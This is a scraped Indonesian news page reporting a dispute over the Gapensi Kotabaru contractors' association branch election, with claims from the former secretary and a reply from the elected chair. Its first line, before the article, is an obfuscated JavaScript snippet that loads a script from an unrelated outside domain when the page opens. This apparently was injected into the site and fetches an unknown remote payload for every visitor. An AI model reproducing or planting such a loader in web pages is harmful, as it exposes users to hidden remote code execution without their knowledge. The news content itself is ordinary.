(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Muscab ke-12 Gapensi Kotabaru Dipertanyakan, Ini Penjelasan Ketua Terpilih


KANALKALIMANTAN.COM, KOTABARU – Kepengurusan Gabungan Pengusaha Seluruh Indonesia (Gapensi) Cabang Kotabaru masa kepengurusan 2021-2026 dipertanyakan, utamanya di jajaran intern tubuh organisasi para kontraktor tersebut.

Informasi itu berhembus, usai digelarnya Musyawarah Cabang (Muscab) Gapensi cabang Kotabaru yang dilaksanakan beberapa waktu lalu. Hal tersebut diungkapkan oleh H Eddi Budiman yang sebelumnya menjabat sebagai sekretaris Gapensi Cabang Kotabaru masa pengurusan tahun 2016-2021.

Pihaknya juga telah melayangkan surat kepada Gapensi Provinsi Kalimantan Selatan yang intinya memohon agar SK penetapan ketua serta pengurus dibatalkan karena Muscab yang diselenggarakan dinilai cacat hukum.

Ada sejumlah pertimbangan, di antaranya yang menyebut Muscab penuh rekayasa karena yang hadir cuma 13 orang dari 30 orang yang mempunyai hak suara.

 

Baca juga : Dukung Ekosistem Kendaraan Listrik, PLN Bangun SPKLU Pertama di Kalteng

Akan tetapi, suara yang sah ada 30 orang terdiri dari suara H Gt Syahrani sebanyak 9 orang dan suara H Hariyadi Mulya sebanyak 21 orang, yang tidak hadir berjumlah 18 orang dan tidak pernah memberikan mandat.

Point terakhir adalah Muscab tidak mengikuti aturan-aturan anggaran dasar Gapensi.

“Surat itu sudah kami layangkan kepada Gapensi Provinsi Kalsel dengan tembusan sampai ke Gapensi Pusat, tentu dengan harapan SK yang ada bisa ditinjau ulang karena beberapa alasan sesuai yang tertera di dalam isi surat yang kami tersebut,” tutur H Eddi Budiman.

Intinya adalah, pada saat pemilihan yang berhadir hanya 13 orang saja dan sisanya tidak ada memberikan surat mandat.

 

Baca juga  : Pebalap Red Bull KTM Miguel Oliveira Podium 1 di Sirkuit Mandalika

“Jadi kami menilai aneh saja, kenapa sampai kejadian seperti itu. Masa yang tidak hadir juga ada catatan suaranya, sementara mereka sama sekali tidak memberikan surat mandat dalam proses pemilihan itu,” cetusnya.

Sementara, kepada Kanalkalimantan.com Ketua Gapensi terpilih masa periode 2021-2026, H Hariyadi Mulya angkat bicara saat dikonfirmasi Minggu (20/3/22). Ia menerangkan bahwa, saat ia masih berada di Malang Jawa Timur untuk menemani istrinya berobat, H Eddi Budiman mengajaknya bertemu untuk berdiskusi terkait perkembangan Gapensi Kotabaru.

Intinya, ia diminta untuk bisa memimpin Gapensi Kotabaru sebagaimana juga permintaan rekan lainnya.

“Saat itu posisi saya menjabat sebagai Wakil Ketua Umum BPD Gapensi Kalsel, dan karena ada permintaan begitu saya bersedia saja asal dari anggota lainnya menginginkan hal tersebut.

 

Baca juga  : Pelaku Penyelundupan Kayu di Banjarmasin Anggota Polisi, AR Ternyata Berdinas di Polres HSU

Sebelum maju di kursi pencalonan Gapensi Kotabaru, saya juga telah berkoordinasi dengan Ketua Umum Gapensi Kalsel,” terangnya.
Dalam pelaksanaan Muscab yang sangat sederhana, sambungnya lagi, ternyata calonnya bukan hanya dirinya saja. Ada calon lain yang ikut meramaikan bursa.

Saat itu telah disepakati bahwa yang hadir diberikan hak suara untuk memilih, termasuk yang KTA-nya sudah berakhir atau mati, dengan harapan akan kembali menghidupi KTA Gapensinya guna perekrutan anggota.

“Terjadilah pemilihan secara voting dan saya berhasil meraih suara sebanyak 21. Kemudian setelahnya disepakati formatur 5 orang untuk kepengurusannya yaitu, ketua formatur saya sendiri sebagai ketua terpilih, sekretaris Subhan Abdi, didampingi H Alpidri Supianor, Khadevi dan Edi Budiman,” tegasnya.

Hanya saja, saat itu ada yang tidak setuju dan meninggalkan tempat dan kemudian ia juga mempersilahkan jika ada yang protes.

“Saya tidak ada beban, jika dibatalkan pun tidak apa-apa. Saya tidak berambisi dan bukan kehendak pribadi dan karena sejak awal kan bukan kehendak saya juga. Kalau melihat jabatan, tentu lebih tinggi sebagai Wakil Ketua BPD Gapensi Kalsel. Rasa-rasanya, polemik ini pada dasarnya ada bentuk kekecewaan saja sehingga mencuat,” pungkasnya. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : cell


Desy Arfianty

Recent Posts

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

1 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

3 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

4 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

4 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

4 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

5 jam ago

This website uses cookies.